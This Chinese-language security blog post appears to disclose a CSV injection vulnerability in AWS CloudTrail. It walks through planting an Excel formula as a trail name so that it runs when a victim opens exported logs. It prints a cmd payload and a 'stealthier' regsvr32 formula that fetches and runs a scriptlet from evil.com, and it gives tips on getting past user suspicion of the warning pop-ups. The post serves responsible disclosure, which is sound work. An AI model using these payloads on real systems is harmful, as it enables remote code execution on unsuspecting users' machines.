导语:领先的云平台,如AWS,Microsoft Azure和Google云和云应用程序是攻击者以及网络钓鱼和渗透测试活动最喜欢的目标。
此篇文章是我们的云安全风险系列的第二部分。领先的云平台,如AWS,Microsoft Azure和Google云和云应用程序是攻击者以及网络钓鱼和渗透测试活动最喜欢的目标。我们的“云安全风险”系列旨在确定领先的云平台(如AWS,Microsoft Azure和领先的云应用程序)中的漏洞,以帮助解决和改进安全风险。
在我们之前的文章《云安全风险:第一部分 – Microsoft Azure CSV注入漏洞》中,我们解释了CSV注入的概念及其带来的风险。
本周披露的CSV注入漏洞会影响AWS CloudTrail,这是AWS平台上提供的一项服务,由于缺乏攻击所需的权限,潜在的风险可能会高于我们之前的披露。与上周发布的情况一样,受害者可以在正常,可信的业务活动过程中毫不避免地下载和执行有效负载,例如导出报告数据,收集日志数据,甚至收集系统健康评估信息。
在这里,研究人员再次演示客户端缓解,弹出警告窗口旨在告诫用户关于恶意代码执行的潜在可能性,这可能会被忽略,因此这是一个有趣的漏洞需要解决。
请注意:在上周的帖子中,我们收到了几条评论,如果用户观察到CMD.EXE或SHELL.EXE请求运行,用户会变得可疑并取消操作。虽然这对于更有经验和安全意识强的用户可能是正确的,但攻击仍然有效,因为许多用户不会注意到或认为警告是严重的。然而,在本周的帖子中,我们还提供了一个更隐蔽的攻击公式,它显示了一个更值得信赖的MSEXCEL.EXE。
漏洞摘要
在AWS CloudTrail帐户中拥有'CreateTrail'权限的用户可以尝试创建一个包含恶意Excel公式的路径作为名称。虽然尝试失败,但该事件将记录到AWS CloudTrail的事件历史记录。该条目将包括涉及被拒绝名称的“资源名称”列。这允许将Excel公式注入到CloudTrail日志中。当另一个用户将该数据导出为.csv文件并将其导入Excel时,它允许攻击者在用户的计算机上执行恶意代码。
此漏洞与上周报告的Azure CSV注入漏洞非常相似,但是,此攻击需要低的权限才能执行此攻击。此AWS攻击也有所不同,因为可以观察恶意公式,而无需点击特定日志。本系列第一部分报告的Azure漏洞并非如此。
关于Amazon Web Services CloudTrail
CloudTrail是亚马逊网络服务提供的服务,用于跟踪AWS账户中发生的所有事件。事件是读取,创建,修改和删除帐户中调用的API调用的集合。每个事件的大量信息都存储在CloudTrail中,包括但不限于事件类型,触发事件的用户,触发时间,涉及的AWS资源等等。您可以并且应该定期查看此类数据,以了解您的AWS账户中发生了什么以及这些操作的幕后人员。CloudTrail还允许具有读取权限的用户将过去90天的日志数据导出到.csv文件中进行下载。
CloudTrail CSV注入演示
要开始此攻击,我首先导航到AWS CloudTrail中的“创建路径”页面,并使用有效内容填充路径的名称。这是我们的恶意代码将被注入的地方。
接下来,向下滚动并设置此路径将发送其日志的S3存储桶。无论您是创建新的存储桶还是选择现有的存储桶都无关紧要。
然后按下右下方的“创建”。它会失败,并在顶部显示一条错误消息,指出您的路径名称无效。
虽然尝试失败,但CreateTrail事件已触发,这意味着它将记录到AWS CloudTrail事件历史记录。大约需要八分钟才能显示出来。
通过点击该事件,您可以更仔细地检查它,看看发生了什么。您将看到“错误代码”的值为“InvalidTrailNameException”。这里有趣的是,这个事件的资源名称是之前拒绝的恶意有效载荷。请注意,在“资源名称”列下,恶意公式代码必须是所包含资源中的第一个(即= cmd |'cmd'!''和另外1个,而不是newbucketforme123和1个以上)。有时候这会被切换,但最常见的是公式首先出现,这使得攻击成为可能。
现在,您只需等待受害者将这些日志导出到.csv文件并在Microsoft Excel中打开它们即可。仅供参考,这些日志在清除之前可供下载90天。这为您的攻击执行提供了一个很大的时间窗口。
受害者下载日志时会发生以下情况:
在导出日志数据后,许多用户将选择使用Microsoft Excel打开文件。这样做时,检测到恶意公式并尝试运行。用户会看到一个带有警告的弹出框,因为外部程序正在尝试运行。
出现的第一个弹出框是警告,表格中的链接需要更新。
请注意,安全警告显示“潜在的安全问题”,但警告框中包含文本“除非您信任此文件的来源,否则不要启用此内容”。由于受害者已从其自己的AWS账户下载文件,将可能被认为是可信的。
单击“启用”后,会再显示一个信息弹出框:
与此类似,Excel正在请求访问“启动另一个应用程序”。在这种情况下,它包含文本“只有在您信任此工作簿的源代码时单击是,并且您想让工作簿启动应用程序”。他们从AWS下载它,当然他们相信它。
当单击是时,执行恶意公式。如下图,运行Windows命令提示符。
关于弹出框,从以前对其他方面的研究中发现,大多数计算机用户只点击弹出框,而根本不去阅读他们,因此,如果是这种情况,他们所说的并不重要。
为了让共计更隐蔽,我们找到了进一步优化这种攻击的方法。正如上周博客文章的评论中指出的那样,一些用户可能会在看到CMD.EXE或SHELL.EXE请求运行并停止该进程时产生怀疑。CMD.EXE或SHELL.EXE可能表示恶意行为正在发生。
为了解决此问题,我找到了一个更隐蔽的攻击公式(如下所示),第二个弹出式警告框显示更可信的MSEXCEL.EXE,而不是显示CMD.EXE或SHELL.EXE。
= MSEXCEL |'\ .. \ .. \ .. \ Windows \ System32 \ regsvr32 / s / n / u /i:http://evil.com/SCTLauncher.sct scrobj.dll'!“
在这里您可以看到将显示此公式的警报框:
以下是新打开的Excel文档中的重要列。
正如您所看到的,“资源名称”列是我的恶意代码,因此Microsoft Excel将该单元解释为公式。
披露时间表:
12/13/2017 向AWS通知该漏洞
12/13/2017 AWS回应
12/15/2017 向AWS提供完整披露信息
01/12/2018 与供应商会面;供应商通知RSL该修补程序
02/06/2018 漏洞披露
对供应商回应的评论
正如披露时间表中所述,已与AWS CloudTrail联系并通知亚马逊网络服务。理解该漏洞的影响,并在整个过程中做出响应。最终,AWS决定向用户提供有关该漏洞的文档来处理该漏洞。
结论
CSV注入是一种非常危险且常常被忽视的攻击方式,无论攻击发生在何处,都可造成验证的影响。我希望这一系列的博客文章能够提供一些关于这个问题的意识,以及这种攻击造成的危害。